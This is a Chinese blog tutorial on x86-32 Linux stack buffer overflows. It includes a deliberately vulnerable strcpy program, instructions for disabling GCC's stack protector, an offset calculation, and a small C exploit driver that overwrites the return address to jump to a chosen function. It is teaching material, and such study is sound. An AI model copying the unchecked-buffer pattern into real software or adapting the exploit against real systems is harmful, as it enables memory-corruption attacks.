• x86-32-Linux下栈溢出攻击原理


    在x86-32-Linux下构造一个栈溢出攻击

    栈缓冲区溢出攻击:向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。

    IA-32下C函数调用约定:

    1. 调用者将参数从右向左入栈,构造参数
    2. call 指令短跳转,会将call指令下一条指令地址(RA)入栈,供RET指令返回使用
    3. 被调用函数创建栈帧,push %ebp; mov %esp, %ebp;

    则一个函数调用的栈帧情况:

    void func(int a,int b,int c) {
    	int tmp = 0x99;
    	return ;
    }
    void main() {
    	func(1,2,3);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    0x0参数C
    0x4参数B
    0x8参数A
    0xCRA地址
    0x10旧%ebp
    0x14tmp变量值0x99

    攻击原理: 利用strcpy(dst, src)函数,对写入的src数据长度不做检查的特性,对函数的栈数组进行写溢出攻击。

    假设待写溢出的数组在test()中

    // a.c
    #include 
    #include 
    
    void test(char *str) {
            char buffer[16]; // 待攻击处
            strcpy(buffer, str);
            printf("%s\n", buffer);
    }
    
    void hacker(void) {
            printf("being hacked\n");
    }
    
    int main(int argc,char *argv[]) {
            test(argv[1]);
            return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    gcc a.c -o a.out 编译后,objdump -d a.out反汇编查看栈布局。

    发现GCC对strcpy()的调用处插入栈检查代码call 8048398 <__stack_chk_fail@plt>.

    首先关闭gcc的栈保护机制,gcc -o a.out -fno-stack-protector,查看反汇编发现没有了栈检查代码。

    于是根据反汇编代码来得到test()的栈帧布局情况。
    1

    sub $0x28, %esp指令得知gcc给test()函数生成了0x28个字节大小的栈空间,布局如下。

    并且通过传入strcpy()函数的buffer参数lea -0x18(%ebp), %eax得到buffer变量在栈上的起始地址

    数组buffer的起始地址是-0x18(%ebp),于是便能够知道数组在栈帧的中的位置

    %ebp+0x8参数 char *str
    %ebp+0x4RA返回地址
    %ebp当前的值,也就是test的栈底,0main的%ebp
    %ebp-0x4
    ebp-0x8
    -0xCbuf 12~15
    -0x10buf 8~11
    -0x14buf 4~7
    -0x18buf 0~3
    -0x1C
    %ebp-0x20
    %ebp-0x24 = %esp + 0x4strcpy的参数:char *str
    %ebp-0x28 = %espstrcpy的参数:buf地址=-0x18(%ebp)

    既然有了buffer数组的位置,那么就能得到buffer数组到RA返回地址处的长度=16+3*4=28字节,28字节后面开始的 4字节便是需要构造的"攻击"跳转地址

    假设我们想要其跳转到void hacker()函数,写入RA处为hacker()函数地址即可。反汇编查看hacker()函数的虚拟地址

    2

    有了hacker()函数地址,便能构造写溢出攻击字符串的内容了,28字节的垃圾字符+4字节hacker()函数地址+\0

    代码如下:

    // test.c
    #include 
    #include 
    
    char tmp[33];
    
    int main() {
            for (int i=0; i<28; i++)
                    tmp[i] = 'F';
            // 对应hacker()地址 0x08048439
            tmp[28] = '\x39';
            tmp[29] = '\x84';
            tmp[30] = '\x04';
            tmp[31] = '\x08';
            tmp[32] = '\0';
            char *argv[3] = { "./a.out", tmp, NULL};
    
            execve(argv[0], argv, NULL);
            return 0;
    }
    // gcc a.c -fno-stack-protector -o a.out
    // gcc test.c -o test -std=c99
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    ./test运行结果如下:栈溢出攻击成功
    3

    总结

    需要根据反汇编代码来查看函数栈中的变量的布局,然后根据栈变量布局再来构造溢出字符串。

  • 相关阅读:
    win11卸载软件在哪里?
    fastgpt本地详细部署以及配置
    verilog-延迟语句
    镜像站制作 centos8
    【英语:基础进阶_读写专项训练】G6.翻译的技巧
    搭建私有镜像
    Docker安装xxl-job并整合到SpringBoot项目
    【网络安全】文件包含漏洞--使用session进行文件包含
    PerfView专题 (第一篇):如何寻找 C# 热点函数
    Linux_安装docker
  • 原文地址:https://blog.csdn.net/qq_43580151/article/details/134088777